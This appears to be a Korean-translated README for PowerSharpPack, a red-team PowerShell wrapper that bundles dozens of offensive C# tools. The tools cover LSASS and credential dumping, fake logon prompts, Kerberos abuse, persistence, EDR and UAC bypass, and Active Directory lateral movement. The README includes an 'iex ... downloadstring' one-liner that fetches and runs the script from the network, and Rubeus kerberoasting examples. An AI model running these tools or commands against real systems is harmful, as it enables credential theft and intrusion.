
PowerShell 래퍼로, 50개 이상의 C# 공격 보안 도구를 번들링하여 침투 후 작업, 권한 상승, 자격 증명 덤핑, 측면 이동 및 Active Directory 정찰을 위한 레드 팀 활동에 사용됩니다.
유용한 공격적 CSharp 프로젝트 여러 개를 Powershell로 감싸서 쉽게 사용할 수 있도록 했습니다.
왜? 제 개인적인 의견으로는 AMSI, 스크립트 블록 로깅, 제한된 언어 모드 또는 기타 보호 기능 때문에 공격적인 Powershell이 죽은 것은 아닙니다. 이러한 메커니즘은 모두 우회될 수 있습니다. 대부분의 새로운 혁신적인 공격 보안 프로젝트가 C#으로 작성되기 때문에, 저는 이를 powershell에서도 사용할 수 있도록 만들기로 결정했습니다.
그래서 기본적으로 무엇을 했을까요?
environment.exit 문을 제거해야 했습니다.[System.Reflection.Assembly]::Load($DecompressedDecodedBinary)를 통해 powershell에 로드합니다.매우 간단하지만 많은 저장소의 경우 시간이 많이 소요되는 프로세스입니다.
어떤 도구가 포함되어 있나요?
Internalmonologue
내부 모놀로그 공격: LSASS를 건드리지 않고 NTLM 해시 획득
@크레딧: https://github.com/eladshamir/Internal-Monologue
Seatbelt
Seatbelt는 보안 중심 호스트 조사 "안전 점검"을 수행하는 C# 프로젝트로, 공격 및 방어 보안 관점 모두에서 관련이 있습니다.
@크레딧: https://github.com/GhostPack/Seatbelt
SharpWeb
Google Chrome, Mozilla Firefox 및 Microsoft Internet Explorer/Edge에서 저장된 브라우저 자격 증명을 검색하는 .NET 2.0 CLR 프로젝트입니다.
@크레딧: https://github.com/djhohnstein/SharpWeb
UrbanBishop
UrbanBishop에서 로컬 RW 섹션을 만든 다음 해당 섹션을 원격 프로세스에 RX로 매핑합니다. 쉘코드 로딩이 쉬워집니다.
@크레딧: https://github.com/FuzzySecurity/Sharp-Suite
SharpUp
SharpUp은 다양한 PowerUp 기능을 C#으로 포팅한 것입니다.
@크레딧: https://github.com/GhostPack/SharpUp
Rubeus
Rubeus는 원시 Kerberos 상호 작용 및 남용을 위한 C# 도구 세트입니다.
@크레딧: https://github.com/GhostPack/Rubeus && https://github.com/gentilkiwi/kekeo/
SharPersist
C#으로 작성된 Windows 지속성 툴킷입니다.
@크레딧: https://github.com/fireeye/SharPersist
Sharpview
harmj0y의 PowerView를 C#으로 구현한 것입니다.
@크레딧: https://github.com/tevora-threat/SharpView
winPEAS
book.hacktricks.xyz의 로컬 Windows 권한 상승 체크리스트를 확인합니다.
@크레딧: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS
Lockless
Lockless는 잠긴 파일의 복사를 허용합니다.
@크레딧: https://github.com/GhostPack/Lockless
SharpChromium
Chromium 데이터(쿠키, 기록, 저장된 로그인)를 검색하는 .NET 4.0 CLR 프로젝트입니다.
@크레딧: https://github.com/djhohnstein/SharpChromium
SharpDPAPI
SharpDPAPI는 일부 Mimikatz DPAPI 기능을 C#으로 포팅한 것입니다.
@크레딧: https://github.com/GhostPack/SharpDPAPI && https://github.com/gentilkiwi/mimikatz/
SharpShares
현재 도메인의 모든 네트워크 공유를 열거합니다. 또한 이름을 IP 주소로 확인할 수 있습니다.
@크레딧: https://github.com/djhohnstein/SharpShares
SharpSniper
사용자 이름과 로그온 IP 주소를 통해 Active Directory에서 특정 사용자를 찾습니다.
@크레딧: https://github.com/HunnicCyber/SharpSniper
SharpSpray
LDAP를 사용하여 도메인의 모든 사용자에 대해 암호 스프레이 공격을 수행하는 간단한 코드 세트이며 Cobalt Strike와 호환됩니다.
@크레딧: https://github.com/jnqpblc/SharpSpray
Watson
누락된 KB를 열거하고 유용한 권한 상승 취약점에 대한 익스플로잇을 제안합니다.
@크레딧: https://github.com/rasta-mouse/Watson
Grouper2
AD 그룹 정책에서 취약점을 찾습니다.
@크레딧: https://github.com/l0ss/Grouper2
Tokenvator
Windows 토큰으로 권한을 상승시키는 도구입니다.
@크레딧: https://github.com/0xbadjuju/Tokenvator
SauronEye
특정 단어가 포함된 특정 파일(예: 비밀번호가 포함된 파일)을 찾는 검색 도구입니다.
@크레딧: https://github.com/vivami/SauronEye
메인 스크립트를 로드하려면
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpPack.ps1')
를 사용하고, 예를 들어 다음과 같이 도구를 스위치 매개변수로 선택합니다:
PowerSharpPack -seatbelt -Command "AMSIProviders"
바이너리에 여러 매개변수를 전달하려면 따옴표를 사용하면 됩니다:
PowerSharpPack -Rubeus -Command "kerberoast /outfile:Roasted.txt"
어떤 이유로 모든 바이너리를 로드하고 싶지 않다면 PowerSharpBinaries 폴더에 있는 개별 바이너리용 Powershell 스크립트를 사용할 수 있습니다.
독립형 powershell 스크립트로도 사용 가능한 프로젝트:
SharpCloud
AWS, Microsoft Azure 및 Google Compute와 관련된 자격 증명 파일의 존재 여부를 확인하는 간단한 C# 도구입니다.
@크레딧: https://github.com/chrismaddalena/SharpCloud
SharpSSDP
SSDP 서비스 검색
@크레딧: https://github.com/rvrsh3ll/SharpSSDP
DAFT
DAFT: 데이터베이스 감사 프레임워크 및 툴킷
@크레딧: https://github.com/NetSPI/DAFT
Get-RBCD-Threaded
Active Directory 환경에서 리소스 기반 제한 위임 공격 경로를 발견하는 도구입니다.
@크레딧: https://github.com/FatRodzianko/Get-RBCD-Threaded
SharpGPO-RemoteAccessPolicies
그룹 정책을 통해 원격 액세스 정책을 열거하는 C# 도구입니다.
@크레딧: https://github.com/FSecureLABS/SharpGPO-RemoteAccessPolicies
SharpAllowedToAct
리소스 기반 제한 위임(msDS-AllowedToActOnBehalfOfOtherIdentity)을 통한 컴퓨터 개체 인수
@크레딧: https://github.com/pkb1s/SharpAllowedToAct
WireTap
비디오, 오디오 및 키보드 하드웨어와 상호 작용하는 .NET 4.0 프로젝트입니다.
@크레딧: https://github.com/djhohnstein/WireTap
SharpClipboard
C# 클립보드 모니터
@크레딧: https://github.com/slyd0g/SharpClipboard
SharpPrinter
프린터 검색 + 취약점 확인
@크레딧: https://github.com/rvrsh3ll/SharpPrinter
SharpHide
숨겨진 레지스트리 키를 생성하는 도구입니다.
@크레딧: https://github.com/outflanknl/SharpHide
SpoolSample
MS-RPRN RPC 인터페이스를 통해 Windows 호스트가 다른 시스템에 인증하도록 강제하는 PoC 도구입니다. 다른 프로토콜을 통해서도 가능합니다.
@크레딧: https://github.com/leechristensen/SpoolSample
SharpGPOAbuse
SharpGPOAbuse는 C#으로 작성된 .NET 애플리케이션으로, 그룹 정책 개체(GPO)에 대한 사용자의 편집 권한을 악용하여 해당 GPO가 제어하는 개체를 손상시키는 데 사용할 수 있습니다.
@크레딧: https://github.com/FSecureLABS/SharpGPOAbuse
SharpDump
SharpDump는 PowerSploit의 Out-Minidump.ps1 기능을 C#으로 포팅한 것입니다.
@크레딧: https://github.com/GhostPack/SharpDump
SharpHound3
BloodHound 프로젝트용 C# 데이터 수집기, 버전 3
@크레딧: https://github.com/BloodHoundAD/SharpHound3
PostDump
탐지를 피하기 위해 몇 가지 기술을 사용하여 LSASS 프로세스의 미니덤프를 수행하는 또 다른 도구입니다.
@크레딧: https://github.com/YOLOP0wn/POSTDump
SharpLocker
SharpLocker는 가짜 Windows 잠금 화면을 띄워 현재 사용자 자격 증명을 얻는 데 도움을 줍니다. 모든 출력은 콘솔로 전송되며 Cobalt Strike에 완벽하게 작동합니다.
@크레딧: https://github.com/Pickfordmatt/SharpLocker
Eyewitness
EyeWitness는 웹사이트의 스크린샷을 찍고, 서버 헤더 정보를 제공하며, 가능한 경우 기본 자격 증명을 식별하도록 설계되었습니다.
@크레딧: https://github.com/FortyNorthSecurity/EyeWitness
FakeLogonScreen
비밀번호를 훔치기 위한 가짜 Windows 로그온 화면
@크레딧: https://github.com/bitsadmin/fakelogonscreen
P0wnedShell
PowerShell Runspace 사후 침투 툴킷
@크레딧: https://github.com/Cn33liz/p0wnedShell
Safetykatz
SafetyKatz는 @gentilkiwi의 Mimikatz 프로젝트와 @subTee의 .NET PE 로더를 약간 수정하여 결합한 것입니다. 저는 이를 다시 자체 난독화된 Mimikatz 버전으로 수정했습니다.
@크레딧: https://github.com/GhostPack/SafetyKatz
InveighZero
Windows C# LLMNR/mDNS/NBNS/DNS/DHCPv6 스푸퍼/중간자 도구입니다.
@크레딧: https://github.com/Kevin-Robertson/InveighZero
SharpSploit
SharpSploit는 C#으로 작성된 .NET 사후 침투 라이브러리입니다.
@크레딧: https://github.com/cobbr/SharpSploit
Snaffler
침투 테스터가 맛있는 사탕을 찾는 데 도움을 주는 도구, @l0oss 및 @Sh3r4 제작 (트위터: @/mikeloss 및 @/sh3r4_hax).
@크레딧: https://github.com/SnaffCon/Snaffler
BadPotato
itm4ns Printspoofer의 C# 버전입니다.
@크레딧: https://github.com/BeichenDream/BadPotato
BetterSafetyKatz
SafetyKatz의 포크로, gentilkiwi GitHub 저장소에서 직접 최신 사전 컴파일된 Mimikatz 릴리스를 동적으로 가져오고, 런타임에 서명을 패치하며, SharpSploit DInvoke를 사용하여 PE를 메모리에 로드합니다.
@크레딧: https://github.com/Flangvik/BetterSafetyKatz
SharpKatz
mimikatz sekurlsa::logonpasswords, sekurlsa::ekeys 및 lsadump::dcsync 명령의 C# 포트입니다.
@크레딧: https://github.com/b4rtik/SharpKatz
Gopher
쉬운 표적을 발견하는 C# 도구입니다.
@크레딧: https://github.com/EncodeGroup/Gopher
SharpOxidResolver
AirBus Security/PingCastle의 IOXIDResolver입니다.
@크레딧: https://github.com/vletoux/pingcastle/
SharpBlock
진입점 실행을 차단하여 EDR의 활성 프로젝션 DLL을 우회하는 방법입니다.
@크레딧: https://github.com/CCob/SharpBlock
SharpLoginPrompt
이 프로그램은 현재 사용자의 사용자 이름과 비밀번호를 수집하기 위한 로그인 프롬프트를 생성합니다. 이 프로젝트는 레드 팀이 lsass를 건드리거나 시스템에 대한 관리자 자격 증명 없이도 현재 사용자의 사용자 이름과 비밀번호를 피싱할 수 있도록 합니다.
@크레딧: https://github.com/shantanu561993/SharpLoginPrompt
ThunderFox
Thunderbird 및 Firefox에서 데이터(연락처, 이메일, 기록, 쿠키 및 자격 증명)를 검색합니다.
@크레딧: https://github.com/V1V1/SharpScribbles
StickyNotesExtract
Windows Sticky Notes 데이터베이스에서 데이터를 추출합니다. Windows 10 빌드 1607 이상에서 작동합니다. 이 프로젝트는 외부 종속성에 의존하지 않습니다.
@크레딧: https://github.com/V1V1/SharpScribbles
SCShell
ChangeServiceConfigA에 의존하여 명령을 실행하는 파일리스 측면 이동 도구입니다.
@크레딧: https://github.com/Mr-Un1k0d3r/SCShell
SharpSecDump
impacket의 secretsdump.py의 원격 SAM + LSA Secrets 덤프 기능을 .NET으로 포팅한 것입니다.
@크레딧: https://github.com/G0ldenGunSec/SharpSecDump
SharpHandler
이 프로젝트는 lsass에 대한 열린 핸들을 재사용하여 lsass를 파싱하거나 미니덤프합니다. 따라서 자체 lsass 핸들을 사용하여 상호 작용할 필요가 없습니다.
@크레딧: https://github.com/jfmaes/SharpHandler
SharpRDP
인증된 명령 실행을 위한 원격 데스크톱 프로토콜 .NET 콘솔 애플리케이션입니다.
@크레딧: https://github.com/0xthirteen/SharpRDP
SharpMove
인증된 원격 실행을 수행하기 위한 .NET 프로젝트입니다.
@크레딧: https://github.com/0xthirteen/SharpMove
SharpStay
지속성을 설치하기 위한 .NET 프로젝트입니다.
@크레딧: https://github.com/0xthirteen/SharpStay
SharpPrintNightmare
PrintNightmare CVE-2021-1675/CVE-2021-34527의 C# 구현입니다.
@크레딧: https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare/SharpPrintNightmare
Certify
Active Directory 인증서 남용입니다.
@크레딧: https://github.com/GhostPack/Certify
Farmer
Farmer는 Windows 도메인에서 NetNTLM 해시를 수집하기 위한 프로젝트입니다. Farmer는 로컬 WebDAV 서버를 생성하여 연결하는 모든 클라이언트가 WebDAV 미니 리디렉터를 통해 인증하도록 합니다.
@크레딧: https://github.com/mdsecactivebreach/Farmer
SharpBypassUAC
UAC 우회를 위한 C# 도구입니다.
@크레딧: https://github.com/FatRodzianko/SharpBypassUAC
StandIn
StandIn은 작은 .NET35/45 AD 사후 침투 툴킷입니다.
@크레딧: https://github.com/FuzzySecurity/StandIn
Carbuncle
레드 팀 작전 중 Outlook interop과 상호 작용하기 위한 도구입니다.
@크레딧: https://github.com/checkymander/Carbuncle
Whisker
Whisker는 대상 계정의 msDS-KeyCredentialLink 속성을 조작하여 Active Directory 사용자 및 컴퓨터 계정을 인수하는 C# 도구로, 효과적으로 "섀도 자격 증명"을 추가합니다.
@크레딧: https://github.com/eladshamir/Whisker
SharpLdapRelayScan
LdapRelayScan의 C# 포트입니다.
@크레딧: https://github.com/klezVirus/SharpLdapRelayScan
LdapSignCheck
LDAP 서명을 확인하는 C# 프로젝트입니다.
@크레딧: https://github.com/cube0x0/LdapSignCheck
SharpImpersonation
SharpImpersonation - 토큰 또는 쉘코드 주입을 통한 사용자 가장 도구입니다.
@크레딧: https://github.com/S3cur3Th1sSh1t/SharpImpersonation
SharpWSUS
SharpWSUS는 WSUS를 통한 측면 이동을 위한 CSharp 도구입니다. 해당 블로그(https://labs.nettitude.com/blog/introducing-sharpwsus/)에서 도구, 사용 사례 및 탐지에 대한 자세한 정보를 확인할 수 있습니다.
@크레딧: https://github.com/nettitude/SharpWSUS
MalSCCM
이 도구를 사용하면 로컬 또는 원격 SCCM 서버를 남용하여 관리하는 호스트에 악성 애플리케이션을 배포할 수 있습니다. 이 도구를 사용하려면 현재 프로세스에 SCCM 서버에 대한 관리자 권한이 있어야 합니다. 일반적으로 SCCM 배포에서는 관리 서버와 기본 서버가 동일한 호스트에 있는 경우가 많으며, 이 경우 locate 명령에서 반환된 호스트를 기본 서버로 사용할 수 있습니다.
@크레딧: https://github.com/nettitude/MalSCCM
KrbRelay
Kerberos 릴레이를 위한 프레임워크입니다.
@크레딧: https://github.com/cube0x0/KrbRelay
SharpSCCM
SCCM과 상호 작용하기 위한 C# 유틸리티입니다.
@크레딧: https://github.com/Mayyhem/SharpSCCM
ShadowSpray
도메인 전체에 섀도 자격 증명을 스프레이하여 오래전에 잊혀진 다른 개체에 대한 GenericWrite/GenericAll DACL을 남용하는 도구입니다.
@크레딧: https://github.com/Dec0ne/ShadowSpray
Grouper3
AD 그룹 정책에서 취약점을 찾되, Grouper2보다 더 잘 찾습니다.
@크레딧: https://github.com/Group3r/Group3r
HandleKatz
복제된 핸들을 사용하는 PIC lsass 덤퍼입니다.
@크레딧: https://github.com/codewhitesec/HandleKatz
NanoDump
자신 있게 LSASS를 덤프하세요.
@크레딧: https://github.com/helpsystems/nanodump
PPLDump
사용자 모드 익스플로잇으로 PPL의 메모리를 덤프합니다.